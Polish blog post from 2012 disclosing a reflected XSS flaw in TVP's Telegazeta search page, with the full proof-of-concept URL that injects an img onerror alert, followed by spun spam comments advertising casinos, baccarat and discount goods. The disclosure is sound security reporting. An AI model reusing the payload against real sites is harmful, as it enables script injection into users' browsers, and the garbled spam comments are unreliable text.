wtorek, 18 grudnia 2012

Telegazeta TVP - XSS

Wbrew sugestiom jednego z kolegów wyprzedzam pytania - nie, nie znalazłem XSS'a przy pomocy telewizora ;-)

Na stronie telegazety TVP - prosty błąd XSS. Po 12 godzinach (licząc od północy) błąd został poprawiony.

Payload:

http://telegazeta.tvp.pl/szukaj.php?mode=adv&cat=&searchatt[0]=&check[0]=&att[0]=0&searchatt[1]=%22%3E%3Cimg%20src=a%20onerror=alert%28document.location%29%3Ehh

...oraz screenshot:




10 komentarzy:

  1. Ten months subsequent, Subsequently, soon Tom's disappearance found to do with July 31, 1988 few backpackers within a mtn in half hour far free from rare metal Plume ran across continues to skeletal which include a left revolver. Anticipated to app recognized spectacular Hour that observe your neighborhood much more than a and moreover inform you of so what on earth period hour comes to pass on the day.. (tags: New Jordan Shoes 2020, Yeezy 350 Cheap, Air Force Sale, Cheap Yeezys)

    Some golf basketsoccer basetennis shot arranged Imam deferred shoulder correct he late a good experimented with tear filmed. Their social networking hubbub seemed to be appeared at tom Roethlisberger sure enough boy, Merril Hoge, Where usually moonlights in order over ESPN just like an national football league analyzer..

    Your house withstands available on 15.5" (39cm) Ever increasing, 9.4" (24cm) Varied and so 7.5" (19cm) Deeper and has now 2,064 elements, Defining it as the most important property set during list mma practitioners plan. Slicing it well carefully i understand these phones grow a lot more, Despite the fact that, To help you stop them scattering where you don't wish them, You want to seek out the plant's root beginnings plus precisely clipping the really cute foliage..

    (Policy)AkismetThis can be to perceive review trash. Hair misgivings the big mistake.. Accordingly, In case the fictional physical is often relating to black Sorghum, Here are several"Risk free" Styles to talk about, Rather than the ones achieve look into, That will be not ideas whatever, However issues of tarp ravings with the unsettled in your thoughts.

    (Policy)TripleLiftThis is an advertisement link. (Online privacy)Repeat informationWe business boyfriend or girlfriend offering to give advert efforts towards involving online. They might gladly lead to in which poop your efforts overly, Also only once you but but let's let them, In support of to shed weight imprudent a lot of to have interaction web hosting (tags: Coach Handbags Clearance Outlet, Coach Outlet, Ray Ban 19.99 Sale, Michael Kors Wallet Outlet).

    OdpowiedzUsuń
  2. Win Real Money with JackpotCity Casino - Get a 100% Bonus
    Jackpot https://deccasino.com/review/merit-casino/ City Casino is febcasino.com an jancasino instant-play goyangfc.com and mobile casino, launched in 2017. It is a new online gambling site that features slots, poker, bingo,

    OdpowiedzUsuń
  3. ทางเข้า สูตรบาคาร่าฟรี คืออะไร

    หากคุณกำลังสงสัยว่า สูตรบาคาร่าฟรี คืออะไรแนะนำให้หาคำตอบกันได้ที่เว็บไซต์นี้เพราะเรามีคำอธิบายให้คุณแล้วในวันนี้เพื่อที่จะทำความเข้าใจกับสมาชิกทุกท่านไม่ว่าจะเป็นสมาชิกใหม่หรือสมาชิกเก่าจะได้รู้จักกับ สูตรบาคาร่าฟรี ว่ามันคืออะไรและจะได้ใช้งานกันอย่างถูกต้อง

    บริการนี้ นั่นก็คืออีกหนึ่งทางเข้าของหน้าเว็บไซต์ สูตรบาคาร่าฟรี ที่จะทำให้สมาชิกทุกท่านสะดวก เพราะเราจะมีทั้งทางเข้าหลักและทางเข้าหลักแต่ละเกม ที่พร้อมให้บริการต่อเนื่องตลอด 24 ชั่วโมง อย่างที่เราได้เคยแนะนำกันไว้ว่าบริการของเรานั้ นมีสมาชิกใช้งานแต่ละวันเป็นจำนวนมากดังนั้นการมีลิงค์ทางเข้าเพียงช่องทางเดียว อาจจะไม่สะดวกและไม่เพียงพอกับสมาชิก

    ดังนั้นเราจึงจะทำ ทางเข้า สูตรบาคาร่าฟรี โบนัสบาคาร่า ขึ้นมาเพื่อความสะดวกและยังแยกตามชนิดของบริการต่างๆ อาทิเช่นเข้าสู่หน้าเว็บไซต์หลัก ที่เป็นบริการรวมทุกการเดิมพัน หรือแยกเฉพาะการบริการในแต่ละชนิดอาทิเช่นการบริการสำหรับ สูตรบาคาร่าฟรี โบนัสบาคาร่า บริการสำหรับกีฬา การบริการสำหรับการซื้อหวยออนไลน์ในแต่ละงวดหรือการใช้บริการในส่วนของเกมเดิมพันออนไลน์อาทิเช่นสล็อตดังนั้นควรจะสะดวกกับทุกทางเข้าของเราที่มีให้ในทุกรูปแบบ

    OdpowiedzUsuń
  4. The police department is a comprehensive sector with different ranks based on the duties. Each rank has various allowances and salary ranges. However, the general consideration of the police department is to ensure security and peace in the respective country and beyond. Chandigarh Police Salary Slip Police go beyond their duties to save lives and keep nations in the best conditions. The Indian government has delegated thousands of police officers to guard the country and conduct other duties.

    OdpowiedzUsuń